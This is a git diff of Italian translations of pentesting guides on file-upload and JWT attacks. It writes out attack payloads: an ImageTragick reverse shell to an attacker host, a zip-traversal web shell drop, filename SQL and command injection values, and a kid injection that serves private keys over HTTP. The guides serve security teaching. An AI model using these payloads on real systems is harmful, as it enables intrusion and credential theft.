Se puoi caricare un file XML su un server Jetty, puoi ottenere [RCE perché i **nuovi \*.xml e \*.war vengono elaborati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
|
||||
Se puoi caricare un file XML in un server Jetty, puoi ottenere [RCE perché i **nuovi \*.xml e \*.war vengono elaborati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati il shell!
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>)
|
||||
|
||||
|
@ -123,7 +123,7 @@ Se puoi caricare un file XML su un server Jetty, puoi ottenere [RCE perché i **
|
|||
|
||||
Per una dettagliata esplorazione di questa vulnerabilità, controlla la ricerca originale: [Sfruttamento di uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Le vulnerabilità di Esecuzione di Comandi Remoti (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI utilizzano una sintassi specifica per incorporare variabili "magiche", segnaposti e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malintenzionati come l'Esecuzione di Comandi Remoti o la Scrittura/Lettura Arbitraria di File quando un file di configurazione `.ini` viene elaborato.
|
||||
Le vulnerabilità di Esecuzione di Comandi Remoti (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI utilizzano una sintassi specifica per incorporare variabili "magiche", segnaposti e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malintenzionati come l'Esecuzione di Comandi Remoti o la Scrittura/Lettura Arbitraria di File quando un file di configurazione `.ini` viene elaborato.
|
||||
|
||||
Considera il seguente esempio di un dannoso file `uwsgi.ini`, che mostra vari schemi:
|
||||
```ini
|
||||
|
@ -147,7 +147,7 @@ L'esecuzione del payload avviene durante l'analisi del file di configurazione. P
|
|||
|
||||
È cruciale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente il campo delle potenziali vulnerabilità.
|
||||
|
||||
## **Trucco di Upload di File/SSRF con wget**
|
||||
## **Trucco di caricamento file/SSRF di wget**
|
||||
|
||||
In alcune occasioni potresti scoprire che un server sta utilizzando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere eluso.**\
|
||||
La **lunghezza massima** di un **nome file** in **Linux** è **255**, tuttavia, **wget** tronca i nomi file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **eluderà** il **controllo** (come in questo esempio **".gif"** è un'estensione **valida**) ma `wget` rinominerà il file in **"A"\*232+".php"**.
|
||||
|
@ -177,22 +177,22 @@ Nota che **un'altra opzione** a cui potresti pensare per eludere questo controll
|
|||
|
||||
## Strumenti
|
||||
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) è un potente strumento progettato per assistere Pentester e Bug Hunter nel testare i meccanismi di caricamento dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) è un potente strumento progettato per assistere Pentester e Bug Hunter nel testare i meccanismi di caricamento file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
|
||||
|
||||
## Dal caricamento dei file ad altre vulnerabilità
|
||||
## Dal caricamento file ad altre vulnerabilità
|
||||
|
||||
* Imposta il **nome del file** su `../../../tmp/lol.png` e cerca di ottenere una **traversata di directory**
|
||||
* Imposta il **nome del file** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere un'**iniezione SQL**
|
||||
* Imposta il **nome del file** su `<svg onload=alert(document.domain)>` per ottenere un XSS
|
||||
* Imposta il **nome del file** su `; sleep 10;` per testare alcune iniezioni di comando (più [trucchi per iniezioni di comando qui](../command-injection.md))
|
||||
* [**XSS** in caricamento di immagini (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* Caricamento di file **JS** + **XSS** = [sfruttamento dei **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* Imposta il **nome file** su `../../../tmp/lol.png` e prova a ottenere una **traversata di directory**
|
||||
* Imposta il **nome file** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere un'**iniezione SQL**
|
||||
* Imposta il **nome file** su `<svg onload=alert(document.domain)>` per ottenere un XSS
|
||||
* Imposta il **nome file** su `; sleep 10;` per testare alcune iniezioni di comandi (più [trucchi per iniezioni di comandi qui](../command-injection.md))
|
||||
* [**XSS** in caricamento file immagine (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* Caricamento file **JS** + **XSS** = [sfruttamento dei **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE in caricamento svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Redirect aperto** tramite caricamento di file svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**Redirect aperto** tramite caricamento file svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Se puoi **indicare al server web di acquisire un'immagine da un URL** potresti provare a sfruttare un [SSRF](../ssrf-server-side-request-forgery/). Se questa **immagine** verrà **salvata** in un sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni da ogni visitatore**.
|
||||
* [Bypass **XXE e CORS** con caricamento di PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* [Bypass **XXE e CORS** con caricamento PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDF appositamente creati per XSS: La [pagina seguente mostra come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni fornite.
|
||||
* Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per verificare se il server dispone di un **antivirus**
|
||||
* Verifica se c'è un **limite di dimensione** per il caricamento dei file
|
||||
|
@ -221,7 +221,7 @@ Ecco una lista dei primi 10 obiettivi che puoi raggiungere tramite il caricament
|
|||
|
||||
Fai riferimento a [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) per altri tipi di file.
|
||||
|
||||
### Caricamento automatico di file Zip/Tar decompressi
|
||||
### Caricamento automatico file Zip/Tar decompressi
|
||||
|
||||
Se puoi caricare un file ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
|
||||
|
||||
|
@ -235,7 +235,7 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### Decomprimere in cartelle diverse
|
||||
|
||||
La creazione inaspettata di file in directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello di sistema operativo tramite caricamenti di file dannosi, il supporto alla compressione gerarchica e le capacità di attraversamento delle directory del formato di archivio ZIP possono essere sfruttati. Ciò consente agli attaccanti di eludere le restrizioni ed uscire dalle directory di caricamento sicure manipolando la funzionalità di decompressione dell'applicazione presa di mira.
|
||||
La creazione inaspettata di file nelle directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello di sistema operativo tramite caricamenti di file dannosi, il supporto alla compressione gerarchica e le capacità di attraversamento delle directory del formato di archivio ZIP possono essere sfruttati. Ciò consente agli attaccanti di eludere le restrizioni ed evitare le directory di caricamento sicure manipolando la funzionalità di decompressione dell'applicazione presa di mira.
|
||||
|
||||
Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come segue:
|
||||
```python
|
||||
|
@ -244,7 +244,7 @@ python2 evilarc.py -h
|
|||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Inoltre, l'**inganno del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a tale file nel tuo sistema. Ciò garantisce che evilarc non incontri errori durante la sua operazione.
|
||||
Inoltre, l'**inganno del symlink con evilarc** è un'opzione. Se l'obiettivo è quello di mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a tale file nel tuo sistema. Ciò garantisce che evilarc non incontri errori durante la sua operazione.
|
||||
|
||||
Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip maligno:
|
||||
```python
|
||||
|
@ -293,18 +293,18 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
|||
|
||||
## ImageTragic
|
||||
|
||||
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick, 7.0.1-1)** (dall'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick, 7.0.1-1)** (dalla [vulnerabilità](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Incorporazione di PHP Shell su PNG
|
||||
## Incorporare una Shell PHP in un PNG
|
||||
|
||||
L'incorporazione di una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente determinate operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere indenne da queste operazioni è un vantaggio significativo per determinati casi d'uso.
|
||||
Incorporare una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente determinate operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere indenne da queste operazioni è un vantaggio significativo per determinati casi d'uso.
|
||||
|
||||
Una dettagliata esplorazione di questa tecnica, inclusa la sua metodologia e le sue potenziali applicazioni, è fornita nell'articolo seguente: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
|
||||
Una dettagliata esplorazione di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nell'articolo seguente: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
|
||||
|
||||
Ulteriori informazioni su: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
@ -312,7 +312,7 @@ Ulteriori informazioni su: [https://www.idontplaydarts.com/2012/06/encoding-web-
|
|||
|
||||
I file poliglotti fungono da strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente contemporaneamente in più formati di file. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non si limitano a questa combinazione; sono anche possibili combinazioni come GIF e JS o PPT e JS.
|
||||
|
||||
L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che controllano i file in base al tipo. La pratica comune in varie applicazioni prevede di permettere solo determinati tipi di file per il caricamento, come JPEG, GIF o DOC, per mitigare il rischio rappresentato da formati potenzialmente dannosi (ad esempio, JS, PHP o file Phar). Tuttavia, un poliglotta, conformandosi ai criteri strutturali di più tipi di file, può eludere stealthily queste restrizioni.
|
||||
L'utilità principale dei file poliglotti risiede nella loro capacità di aggirare le misure di sicurezza che controllano i file in base al tipo. La pratica comune in varie applicazioni prevede di permettere solo determinati tipi di file per il caricamento, come JPEG, GIF o DOC, per mitigare il rischio rappresentato da formati potenzialmente dannosi (ad esempio, JS, PHP o file Phar). Tuttavia, un poliglotta, conformandosi ai criteri strutturali di più tipi di file, può aggirare stealthily queste restrizioni.
|
||||
|
||||
Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglotta potrebbe incarnare contemporaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche sull'estensione dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglotta potrebbe non essere sufficiente a garantirne il caricamento.
|
||||
|
||||
|
@ -327,7 +327,7 @@ Ulteriori informazioni su: [https://medium.com/swlh/polyglot-files-a-hackers-bes
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||
|
||||
|
|
|
@ -14,14 +14,14 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Parte di questo post si basa sull'ottimo post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Autore dell'ottimo strumento per il pentesting di JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**Autore dell'ottimo strumento per il pentesting di JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Vittorie Veloci**
|
||||
|
||||
|
@ -31,11 +31,11 @@ python3 jwt_tool.py -M at \
|
|||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
Se sei fortunato, lo strumento troverà alcuni casi in cui l'applicazione web sta controllando in modo errato il JWT:
|
||||
Se sei fortunato, lo strumento troverà alcuni casi in cui l'applicazione web non controlla correttamente il JWT:
|
||||
|
||||
![](<../.gitbook/assets/image (932).png>)
|
||||
|
||||
Quindi, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta usando lo strumento jwt_tool:
|
||||
Successivamente, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta utilizzando lo strumento jwt_tool:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
|
@ -62,7 +62,7 @@ Per verificare se la firma di un JWT viene verificata:
|
|||
|
||||
Verifica se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
|
||||
|
||||
### Forza bruta del segreto HMAC
|
||||
### Forzare il segreto HMAC con attacco di forza bruta
|
||||
|
||||
[**Vedi questa pagina.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
|
@ -70,7 +70,7 @@ Verifica se il token dura più di 24 ore... forse non scade mai. Se c'è un camp
|
|||
|
||||
Imposta l'algoritmo utilizzato come "None" e rimuovi la parte della firma.
|
||||
|
||||
Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e cambiare valori diversi all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").
|
||||
Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e per modificare valori diversi all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").
|
||||
|
||||
### Cambiare l'algoritmo da RS256(asimmetrico) a HS256(simmetrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
|
@ -79,7 +79,7 @@ L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza
|
|||
|
||||
Se cambi l'algoritmo da RS256 a HS256, il codice back-end utilizza la chiave pubblica come chiave segreta e quindi utilizza l'algoritmo HS256 per verificare la firma.
|
||||
|
||||
Quindi, utilizzando la chiave pubblica e cambiando da RS256 a HS256, potremmo creare una firma valida. Puoi recuperare il certificato del server web eseguendo questo:
|
||||
Quindi, utilizzando la chiave pubblica e cambiando da RS256 a HS256 potremmo creare una firma valida. Puoi recuperare il certificato del server web eseguendo questo:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -89,9 +89,9 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
Un attaccante incorpora una nuova chiave nell'intestazione del token e il server utilizza questa nuova chiave per verificare la firma (CVE-2018-0114).
|
||||
|
||||
Ciò può essere fatto con l'estensione Burp "JSON Web Tokens".\
|
||||
(Inoltra la richiesta al Repeater, all'interno della scheda JSON Web Token seleziona "CVE-2018-0114" e invia la richiesta).
|
||||
(Inviare la richiesta al Repeater, all'interno della scheda JSON Web Token selezionare "CVE-2018-0114" e inviare la richiesta).
|
||||
|
||||
### Spoofing JWKS
|
||||
### Falsificazione di JWKS
|
||||
|
||||
Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che impiegano un claim di intestazione "jku". Questo claim dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
|
||||
|
||||
|
@ -100,9 +100,9 @@ Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in
|
|||
* Modificare il valore "jku" del token per indirizzarlo verso un servizio web controllato, consentendo l'osservazione del traffico.
|
||||
* **Monitoraggio dell'Interazione HTTP**:
|
||||
* L'osservazione delle richieste HTTP al tuo URL specificato indica i tentativi del server di recuperare le chiavi dal link fornito.
|
||||
* Quando si utilizza `jwt_tool` per questo processo, è fondamentale aggiornare il file `jwtconf.ini` con la tua posizione JWKS personale per agevolare il testing.
|
||||
* Quando si utilizza `jwt_tool` per questo processo, è fondamentale aggiornare il file `jwtconf.ini` con la posizione personale del tuo JWKS per facilitare il testing.
|
||||
* **Comando per `jwt_tool`**:
|
||||
* Esegui il seguente comando per simulare lo scenario con `jwt_tool`:
|
||||
* Eseguire il seguente comando per simulare lo scenario con `jwt_tool`:
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_QUI -X s
|
||||
|
@ -118,40 +118,40 @@ Quando il claim `kid` è presente nell'intestazione, è consigliabile cercare ne
|
|||
|
||||
#### Traversamento del Percorso con "kid"
|
||||
|
||||
Il claim `kid` potrebbe anche essere sfruttato per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
|
||||
Il claim `kid` potrebbe anche essere sfruttato per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Forgery delle Richieste lato Server (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Attraverso il mirare file con contenuti prevedibili, è possibile falsificare un JWT valido. Ad esempio, il file `/proc/sys/kernel/randomize_va_space` nei sistemi Linux, noto per contenere il valore **2**, può essere utilizzato nel parametro `kid` con **2** come password simmetrica per la generazione del JWT.
|
||||
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
|
||||
|
||||
#### Iniezione SQL tramite "kid"
|
||||
#### SQL Injection via "kid"
|
||||
|
||||
Se il contenuto del claim `kid` viene utilizzato per recuperare una password da un database, potrebbe essere facilitata un'iniezione SQL modificando il payload `kid`. Un esempio di payload che utilizza l'iniezione SQL per alterare il processo di firma JWT include:
|
||||
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
Questa modifica forza l'uso di una chiave segreta conosciuta, `ATTACKER`, per la firma JWT.
|
||||
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
|
||||
|
||||
#### Iniezione OS tramite "kid"
|
||||
#### OS Injection through "kid"
|
||||
|
||||
Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato all'interno di un contesto di esecuzione di comandi potrebbe portare a vulnerabilità di Esecuzione di Codice Remoto (RCE). Iniettando comandi nel parametro `kid`, è possibile esporre chiavi private. Un esempio di payload per ottenere RCE ed esposizione delle chiavi è:
|
||||
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### x5u e jku
|
||||
### x5u and jku
|
||||
|
||||
#### jku
|
||||
|
||||
jku sta per **URL dell'insieme JWK**.\
|
||||
Se il token utilizza un claim **Header** "**jku**", **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la Chiave Pubblica per verificare il token. Manipola il token per far puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
|
||||
jku stands for **JWK Set URL**.\
|
||||
If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
|
||||
|
||||
Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche
|
||||
First you need to create a new certificate with new private & public keys
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Quindi puoi utilizzare ad esempio [**jwt.io**](https://jwt.io) per creare il nuovo JWT con le **chiavi pubbliche e private create e puntando il parametro jku al certificato creato.** Per creare un certificato jku valido, puoi scaricare quello originale e modificare i parametri necessari.
|
||||
Quindi puoi utilizzare ad esempio [**jwt.io**](https://jwt.io) per creare il nuovo JWT con le **chiavi pubbliche e private create e puntare il parametro jku al certificato creato.** Per creare un certificato jku valido, puoi scaricare quello originale e modificare i parametri necessari.
|
||||
|
||||
Puoi ottenere i parametri "e" e "n" da un certificato pubblico utilizzando:
|
||||
```bash
|
||||
|
@ -166,7 +166,7 @@ print("e:", hex(key.e))
|
|||
|
||||
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno quello precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È richiesta la sicurezza del trasporto per trasferire i certificati.
|
||||
|
||||
Prova a **cambiare questo header con un URL sotto il tuo controllo** e controlla se viene ricevuta qualche richiesta. In tal caso, **potresti alterare il JWT**.
|
||||
Prova a **cambiare questo header con un URL sotto il tuo controllo** e controlla se viene ricevuta qualche richiesta. In tal caso, **potresti manomettere il JWT**.
|
||||
|
||||
Per falsificare un nuovo token utilizzando un certificato controllato da te, è necessario creare il certificato ed estrarre le chiavi pubbliche e private:
|
||||
```bash
|
||||
|
@ -212,7 +212,7 @@ openssl genrsa -out keypair.pem 2048
|
|||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Puoi ottenere il "n" e "e" utilizzando questo script nodejs:
|
||||
Puoi ottenere il "n" e il "e" utilizzando questo script nodejs:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -231,7 +231,7 @@ Ecco un esempio: [ECDSA: Rivelazione della chiave privata, se viene utilizzato l
|
|||
### JTI (JWT ID)
|
||||
|
||||
Il claim JTI (JWT ID) fornisce un identificatore univoco per un token JWT. Può essere utilizzato per evitare il replay del token.\
|
||||
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). Le richieste 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusarne per **replay di una richiesta** (necessario inviare 10000 richieste tra ogni replay riuscito).
|
||||
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusarne per **replay di una richiesta** (necessario inviare 10000 richieste tra ogni replay riuscito).
|
||||
|
||||
### Claim registrati JWT
|
||||
|
||||
|
@ -243,11 +243,11 @@ Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001
|
|||
|
||||
È stato osservato che alcune applicazioni web si affidano a un servizio JWT di fiducia per la generazione e la gestione dei loro token. Sono stati registrati casi in cui un token, generato per un cliente dal servizio JWT, è stato accettato da un altro cliente dello stesso servizio JWT. Se viene osservata l'emissione o il rinnovo di un JWT tramite un servizio di terze parti, dovrebbe essere indagata la possibilità di iscriversi a un account su un altro cliente di quel servizio utilizzando lo stesso username/email. Dovrebbe quindi essere tentato di riprodurre il token ottenuto in una richiesta al target per vedere se viene accettato.
|
||||
|
||||
* L'accettazione del tuo token potrebbe indicare un problema critico, consentendo potenzialmente il falsificare l'account di qualsiasi utente. Tuttavia, è importante notare che potrebbe essere necessaria l'autorizzazione per test più ampi se ci si iscrive a un'applicazione di terze parti, poiché potrebbe entrare in una zona grigia legale.
|
||||
* L'accettazione del tuo token potrebbe indicare un problema critico, consentendo potenzialmente il falsificare l'account di qualsiasi utente. Tuttavia, va notato che potrebbe essere necessaria l'autorizzazione per test più ampi se ci si iscrive a un'applicazione di terze parti, poiché potrebbe entrare in una zona grigia legale.
|
||||
|
||||
**Controllo di Scadenza dei Token**
|
||||
|
||||
